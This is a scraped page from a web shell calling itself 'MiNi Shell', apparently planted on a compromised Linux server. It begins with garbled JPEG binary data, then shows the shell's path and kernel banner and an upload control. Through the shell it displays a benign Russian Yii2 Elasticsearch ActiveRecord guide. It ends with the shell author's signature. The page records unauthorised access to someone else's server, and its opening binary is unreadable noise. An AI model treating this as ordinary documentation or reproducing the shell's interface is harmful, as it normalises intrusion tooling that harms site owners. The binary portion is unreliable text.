JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor_kopia_11_08_2023/yiisoft/yii2-elasticsearch/docs/guide-ru/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/vendor_kopia_11_08_2023/yiisoft/yii2-elasticsearch/docs/guide-ru/usage-ar.md

# Использование ActiveRecord

Класс Elasticsearch ActiveRecord очень похож на аналогичный класс ActiveRecord для работы с традиционными базами данных,
который описан в [руководстве](https://github.com/yiisoft/yii2/blob/master/docs/guide/active-record.md).

Большинство его отличий и ограничений связаны с особенностями реализации класса [[yii\elasticsearch\Query]].

Чтобы объявить класс Elasticsearch ActiveRecord, нужно унаследовать свой класс от [[yii\elasticsearch\ActiveRecord]]
и реализовать в нем как минимум метод [[yii\elasticsearch\ActiveRecord::attributes()|attributes()]], в котором задать
атрибуты модели.

> ВАЖНО: Первичный ключ (`_id`) включать в список атрибутов НЕ НУЖНО.

```php
class Customer extends yii\elasticsearch\ActiveRecord
{
    // Прочие атрибуты и методы класса
    // ...
    public function attributes()
    {
        return ['first_name', 'last_name', 'order_ids', 'email', 'registered_at', 'updated_at', 'status', 'is_active'];
    }
}
```

Переопределив методы [[yii\elasticsearch\ActiveRecord::index()|index()]] и [[yii\elasticsearch\ActiveRecord::type()|type()]]
можно задать индекс и тип, которые представляет модель.

> ВАЖНО: В Elasticsearch версии 7.x и выше типы игнорируются. Более подробно - в разделе [Структура данных и
> индексы](mapping-indexing.md).


## Примеры использования

```php
// Создание новой записи
$customer = new Customer();
$customer->_id = 1; // первичный ключ можно изменять только у несохраненных записей
$customer->last_name = 'Doe'; // атрибуты можно устанавливать по одному
$customer->attributes = ['first_name' => 'Jane', 'email' => 'janedoe@example.com']; // или группами
$customer->save();

// Получение записей по первичному ключу
$customer = Customer::get(1); // получить запись по ключу
$customer = Customer::findOne(1); // можно и так
$customers = Customer::mget([1,2,3]); // получить несколько записей по ключу
$customers = Customer::findAll([1, 2, 3]); // можно и так

// Поиск записей с помощью простых условий
$customer = Customer::find()->where(['first_name' => 'John', 'last_name' => 'Smith'])->one();

// Поиск записей с помощью языка запросов Elasticsearch
// (см. https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-match-query.html)
$articles = Article::find()->query(['match' => ['title' => 'yii']])->all();

$articles = Article::find()->query([
    'bool' => [
        'must' => [
            ['term' => ['is_active' => true]],
            ['terms' => ['email' => ['johnsmith@example.com', 'janedoe@example.com']]]
        ]
    ]
])->all();
```

## Первичные ключи

В отличие от традиционных БД SQL, где в качестве первичного ключа можно использовать любую колонку или группу колонок,
а также создавать таблицы без первичного ключа, в Elasticsearch первичный ключ хранится отдельно от документа. Ключ не
является полем документа и его нельзя изменить после того, как документ сохранен в индекс.

И хотя Elasticsearch автоматически создает уникальные первичные ключи для новых документов, при необходимости эти
ключи можно задавать явно. При этом следует учитывать, что ключевое поле представляет собой строку длиной до 512 байт.
Более подробно работа с первичными ключами описана в
[документации Elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html).

В Elasticsearch первичный ключ называется `_id`, а в классе [[yii\elasticsearch\ActiveRecord]] для него предусмотрены
геттер и сеттер. Ни в коем случае не нужно добавлять ключевое поле в [[yii\elasticsearch\ActiveRecord::attributes()|attributes()]]!


## Внешние ключи

В базах данных SQL в качестве первичных ключей часто используются автоинкрементные колонки целочисленного (`integer`)
типа. Когда модель Elasticsearch ссылается на такие модели в своих связях, эти целочисленные ключи становятся для
Elasticsearch внешними ключами.

И хотя эти ключи - числа, использовать для них целочисленные типы в Elasticsearch не следует. В Elasticsearch
поля численных типов (например, `integer` и `long`) оптимизированы для запросов по диапазону (`range`), а поля
типа `keyword` - для поиска конкретных значений (`term`). Поэтому для внешних ключей желательно использовать именно
поля типа `keyword`. См. [документацию Elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/keyword.html)
по этой теме.


## Определение связей

Расширение позволяет объявлять связи, в которых участвуют модели как из Elasticsearch, так и из других БД. Связи с
помощью метода [[yii\elasticsearch\ActiveQuery::via()|via()]] поддерживаются частично: нельзя объявить связь через
промежуточную таблицу, только через промежуточную модель.

```php
class Customer extends yii\elasticsearch\ActiveRecord
{
    // У каждого клиента есть много заказов, а у каждого заказа - один инвойс

    public function getOrders()
    {
        // Через эту связь можно получить до 100 самых последних заказов клиента
        return $this->hasMany(Order::className(), ['customer_id' => '_id'])
                    ->orderBy(['created_at' => SORT_DESC])
                    ->limit(100); // переопределяем лимит по умолчанию (10)
    }

    public function getInvoices()
    {
        // Эта связь через промежуточную модель выполняет запрос, получающий
        // эти промежуточные модели. В связи тоже нужно установить лимит,
        // и нет смысла делать его не таким, как в промежуточной модели
        return $this->hasMany(Invoice::className(), ['_id' => 'order_id'])
                    ->via('orders')->limit(100);
    }
}
```

> **ВАЖНО:** В Elasticsearch все запросы возвращают по умолчанию только первые десять записей. Это касается и запросов,
> через которые производится выборка связанных моделей. Если ожидается, что связанных моделей будет больше десяти,
> нужно явно увеличить лимит в определении связи. Это касается и промежуточных моделей, которые используются
> в методе [[yii\elasticsearch\ActiveQuery::via()|via()]]. В таком случае лимит надо задать как в самой связи, так и в
> связи, которая является промежуточной.


## Скалярные атрибуты и атрибуты-массивы

В Elasticsearch в любое поле документа [можно поместить несколько значений](https://www.elastic.co/guide/en/elasticsearch/reference/current/array.html).
Например, если у клиента есть поле типа `keyword` для номера заказа, в это поле можно поместить одно, два или больше
значений. Можно сказать, что любое поле документа - это массив.

Мы стараемся, чтобы работа с расширением поменьше отличалась от стандартного [[yii\base\ActiveRecord]]. Поэтому когда
запись заполняется данными, массивы, содержащие только одно значение, заменяются этим значением. Такое поведение можно
отключить, если указать нужное поле в методе [[yii\elasticsearch\ActiveRecord::arrayAttributes()|arrayAttributes()]].

```php
public function arrayAttributes()
{
    return ['order_ids'];
}
```

Если объявить атрибут таким образом, то при выборке из базы данных значение `$customer->order_ids` всегда будет массивом,
даже если в нем всего одно значение, например, `['AB-32162']`.


## Организация сложных запросов

В метод [[yii\elasticsearch\Query::query()|query()]] можно передать любой запрос, который написан на языке запросов
Elasticsearch. Для этого языка характерна многословность, а в объемные запросы трудно вносить дополнения и изменения.

Для решения этой задачи в классах ActiveRecord для SQL применяются методы, которые модифицируют запрос и вызываются по
цепочке. С Elasticsearch такой подход не работает, поэтому желательно создавать статические методы, которые возвращают
отдельные элементы запроса, а затем объединять их в более сложные запросы.

```php
class CustomerQuery extends ActiveQuery
{
    public static function name($name)
    {
        return ['match' => ['name' => $name]];
    }

    public static function address($address)
    {
        return ['match' => ['address' => $address]];
    }

    public static function registrationDateRange($dateFrom, $dateTo)
    {
        return ['range' => ['registered_at' => [
            'gte' => $dateFrom,
            'lte' => $dateTo,
        ]]];
    }
}

```

Теперь составим запрос, используя эти вспомогательные методы.

```php
$customers = Customer::find()->query([
    'bool' => [
        'must' => [
            CustomerQuery::registrationDateRange('2016-01-01', '2016-01-20')
        ],
        'should' => [
            CustomerQuery::name('John'),
            CustomerQuery::address('London'),
        ],
        'must_not' => [
            CustomerQuery::name('Jack'),
        ],
    ],
])->all();
```

## Агрегации

[Механизм агрегаций](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html)
выдает обобщенные сведения о результатах поискового запроса. В его основе лежат "кирпичики" - агрегации,
совмещая которые можно получать более сложную и подробную статистику.

В качестве примера соберем сведения о регистрации клиентов по месяцам.

```php
$searchResult = Customer::find()->addAggregate('customers_by_date', [
    'date_histogram' => [
        'field' => 'registered_at',
        'calendar_interval' => 'month',
    ],
])->limit(0)->search();

$customersByDate = ArrayHelper::map($searchResult['aggregations']['customers_by_date']['buckets'], 'key_as_string', 'doc_count');
```

Следует отметить, что в этом примере используется метод [[yii\elasticsearch\ActiveQuery::search()|search()]], а не
привычные [[yii\elasticsearch\ActiveQuery::one()|one()]] или [[yii\elasticsearch\ActiveQuery::all()|all()]].
Метод `search()` возвращает не только найденные модели, но и метаданные запроса: статистику шардов, агрегации, и т.д.
Для получения обобщенной статистики часто сами результаты запроса не важны. Поэтому мы указываем серверу не возвращать
найденные документы ([[yii\elasticsearch\ActiveQuery::limit()|limit(0)]]), а только метаданные.

После небольшой обработки, массив `$customersByDate` содержит данные такой структуры:
```php
[
    '2020-01-01' => 5,
    '2020-02-01' => 3,
    '2020-03-01' => 17,
]
```

## Подсказки (suggesters)

Иногда нужно подсказать пользователю поисковые запросы, которые похожи на то, что он уже запрашивал. При этом также
важно, чтобы этим подсказкам в индексе действительно соответствовали какие-то документы.

Например, можно предложить разные варианты написания имен. Как это сделать, показано в следующем примере, а дополнительные
сведения - в [документации Elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-suggesters.html).

```php
$searchResult = Customer::find()->limit(0)
->addSuggester('customer_name', [
    'text' => 'Hans',
    'term' => [
        'field' => 'name',
    ]
])->search();

// Ограничим запрос с помощью limit(0), чтобы не возвращать найденные документы,
// а только метаданные (подсказки)

$suggestions = ArrayHelper::map($searchResult["suggest"]["customer_name"], 'text', 'options');
$names = ArrayHelper::getColumn($suggestions['Hans'], 'text');
// $names == ['Hanns', 'Hannes', 'Hanse', 'Hansi']
```


## Неожиданное поведения атрибутов типа "объект"

Расширение сохраняет документы в индекс с помощью вызова `_update`. Этот вызов предназначен для частичного обновления
документов. Поэтому для всех атрибутов, у которых тип соответствующего поля в Elasticsearch - `object`, значение
будет объединено с уже имеющимся в документе значением.

Рассмотрим это на примере:

```php
$customer = new Customer();
$customer->my_attribute = ['foo' => 'v1', 'bar' => 'v2'];
$customer->save();
// сейчас значение my_attribute в Elasticsearch - {"foo": "v1", "bar": "v2"}

$customer->my_attribute = ['foo' => 'v3', 'bar' => 'v4'];
$customer->save();
// сейчас значение my_attribute в Elasticsearch - {"foo": "v3", "bar": "v4"}

$customer->my_attribute = ['baz' => 'v5'];
$customer->save();
// а сейчас значение my_attribute в Elasticsearch - {"foo": "v3", "bar": "v4", "baz": "v5"},
// а $customer->my_attribute все еще равно ['baz' => 'v5']
```

Так как такое поведение применяется только для объектов, проблему можно решить, обернув объект в массив. Поскольку для
сервера нет разницы между скалярным значением и массивом, содержащим только это значение, никакой другой код изменять
не нужно.

```php
$customer->my_attribute = [['new' => 'value']]; // note the double brackets
$customer->save();
// теперь значение my_attribute в Elasticsearch - {"new": "value"}
$customer->my_attribute = $customer->my_attribute[0]; // чтобы значение в модели соответствовало значению в БД
```

Более подробно проблема обсуждается здесь:
https://discuss.elastic.co/t/updating-an-object-field/110735

Creat By MiNi SheLL
Email: jattceo@gmail.com